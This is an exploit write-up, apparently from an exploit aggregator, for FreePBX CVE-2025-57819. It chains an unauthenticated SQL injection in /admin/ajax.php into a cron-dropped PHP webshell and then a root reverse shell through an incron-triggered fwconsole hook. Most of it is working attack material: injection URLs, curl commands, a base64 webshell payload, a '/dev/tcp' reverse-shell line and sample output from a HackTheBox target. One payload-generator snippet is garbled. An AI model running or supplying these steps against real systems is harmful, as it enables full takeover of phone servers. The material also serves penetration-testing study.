## https://sploitus.com/exploit?id=13554F15-F8D1-5FA7-9DED-D4DC08019FD6
# FreePBX CVE-2025-57819 โ Unauthenticated SQLi to Root RCE
> **Severity:** Critical
> **Type:** Unauthenticated SQL Injection โ Remote Code Execution
> **Affected Software:** FreePBX (endpoint module)
> **Tested On:** FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5
## Overview
An unauthenticated SQL injection vulnerability exists in the FreePBX `endpoint` module via the `brand` parameter in `/admin/ajax.php`. No credentials are required to exploit this vulnerability.
Combined with FreePBX's internal cron job mechanism and the `incron`/`fwconsole` hook system, this leads to a full unauthenticated root shell.
## Attack Chain
```
[No Auth Required]
โ
โผ
Unauthenticated SQL Injection
(/admin/ajax.php โ brand parameter)
โ
โโโโบ Extract DB credentials, user hashes
โ
โโโโบ INSERT into cron_jobs
โ โ
โ โโโโบ PHP webshell dropped in web root
โ โ
โ โโโโบ RCE as asterisk (user flag)
โ
โโโโบ Write incron trigger file (as asterisk)
โ
โโโโบ sysadmin_manager fires as root
โ
โโโโบ fwconsole hook โ Root Shell
```
## Usage
```bash
pip install requests
python3 CVE-2025-57819.py
```
**Example:**
```bash
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
```
**Output:**
```
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted โ waiting up to 90s for it to fire...
[+] Webshell active! โ uid=999(asterisk) gid=1000(asterisk)
[+] User Flag โ HTB{REDACTED}
[*] Triggering Root Shell โ 10.10.xx.xx:9999
[+] Trigger file created โ incron will fire it as root!
```
## How It Works
### Stage 1 โ SQL Injection
The `brand` parameter in the endpoint module AJAX handler is passed directly into a SQL query without sanitization:
```
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
```
This returns the database name inside an XPATH error โ a classic error-based SQLi technique. Stacked queries are also supported, allowing `INSERT`, `UPDATE`, and `DELETE` operations.
### Stage 2 โ Webshell via Cron
Using stacked queries, a cron job is inserted into FreePBX's `cron_jobs` table:
```sql
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
```
FreePBX's cron runner executes this every minute, dropping a PHP webshell into the web root.
### Stage 3 โ Root via Incron + fwconsole Hook
`incrond` watches `/var/spool/asterisk/incron/` (writable by the `asterisk` user). When a file is created there, it triggers `/usr/bin/sysadmin_manager` as root.
The filename format `api.fwconsole-commands.` maps to a pre-existing GPG-signed hook at:
```
/var/www/html/admin/modules/api/hooks/fwconsole-commands
```
The hook decodes the filename as a `base64(zlib(json([cmd, txn_id])))` payload and executes:
```php
$cmd = "/usr/sbin/fwconsole $command 2>&1";
```
Using `help;` as a prefix satisfies fwconsole as a valid command, and the `;` chains arbitrary shell commands:
```
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
```
This executes as root, giving a full root shell.
## Manual Exploitation
### Step 1 โ Verify SQLi
```bash
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
```
### Step 2 โ Drop Webshell
```bash
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
```
### Step 3 โ Generate Root Payload
```bash
# Save to file to avoid shell quoting issues
cat > gen.py & /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
```
### Step 4 โ Trigger Root Shell
```bash
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands."
```
## Key Findings During Analysis
| Finding | Detail |
|---|---|
| Database | asterisk (MariaDB 5.5.65) |
| DB User | freepbxuser@localhost |
| Web User | asterisk (uid=999) |
| Cron table | writable via SQLi |
| Incron dir | /var/spool/asterisk/incron/ (writable by asterisk) |
| Privesc | fwconsole hook runs as root via incrond |
| Root method | Incron trigger โ signed fwconsole hook โ command injection |
## Disclosure Timeline
| Date | Event |
|---|---|
| 2025 | Vulnerability discovered and reported |
| 2025-11-30 | Box deployed on HackTheBox |
| 2025 | CVE-2025-57819 assigned |
## Disclaimer
This tool is for educational purposes and authorized security testing only. Do not use against systems you do not have explicit permission to test. The author is not responsible for any misuse.
## References
- [watchTowr Labs PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819)
- [FreePBX Security Advisory](https://github.com/freepbx/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h)
- [CVE-2025-57819 Detail](https://vulners.com/cve/CVE-2025-57819)